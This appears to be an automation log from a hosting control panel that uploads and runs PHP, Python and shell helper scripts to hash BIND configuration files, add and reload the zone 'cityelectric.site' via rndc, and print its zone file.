MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 74618525f3c0ba81ceb567ef7724dba7
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-26 15:00:21: Establishing a connection
2025-08-26 15:00:21: Establishing a connection
2025-08-26 15:00:21:
PUT: /tmp/pkp318329
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-26 15:00:21:
runuser -l bind -s /bin/bash -c '/tmp/pkp318329; rm /tmp/pkp318329'
2025-08-26 15:00:21:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 74618525f3c0ba81ceb567ef7724dba7
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-26 15:00:21:
PUT: /tmp/pkp176291
#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam
#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'
uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
pass
PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:
line = fp.readline()
while line:
if HASH in line:
hash_present = True
break
line = fp.readline()
fp.close()
if not hash_present:
fp = open(LOCAL_FILE, 'a')
fp.write(PAYLOAD + "\n")
fp.close()
# call = old python, 'run' python 3.5+
subprocess.call(['rndc', 'reconfig'])
else:
subprocess.call(['rndc', 'freeze', ZONE_NAME ])
subprocess.call(['rndc', 'reload', ZONE_NAME ])
subprocess.call(['rndc', 'thaw', ZONE_NAME ])
time.sleep(3)
2025-08-26 15:00:21:
chmod 755 /tmp/pkp176291; /tmp/pkp176291; rm /tmp/pkp176291
2025-08-26 15:00:24:
rndc: 'freeze' failed: not dynamic
zone reload queued
STDERR:
rndc: 'freeze' failed: not dynamic
2025-08-26 15:00:24:
PUT: /tmp/pkp388490
#!/bin/bash
rndc reload cityelectric.site 2>&1
2025-08-26 15:00:24:
chmod 755 /tmp/pkp388490; /tmp/pkp388490; rm /tmp/pkp388490
2025-08-26 15:00:24:
zone reload up-to-date
2025-08-26 15:00:25: Establishing a connection
2025-08-26 15:00:25:
PUT: /tmp/pkp785641
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-26 15:00:25:
runuser -l bind -s /bin/bash -c '/tmp/pkp785641; rm /tmp/pkp785641'
2025-08-26 15:00:25:
2025-08-26 15:00:25:
PUT: /tmp/pkp463333
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 15:00:25:
chmod 755 /tmp/pkp463333; /tmp/pkp463333; rm /tmp/pkp463333
2025-08-26 15:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt 394
; this is an automatically created file: manual changes will be overwritten.
$TTL 3600
cityelectric.site. IN SOA cityelectric.site. hostmaster.cityelectric.site. ( 131244084 14400 3600 14400 3600 )
cityelectric.site. IN NS ns1.hostz.org.
cityelectric.site. IN NS ns2.hostz.org.
@ IN A 10.140.12.86
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
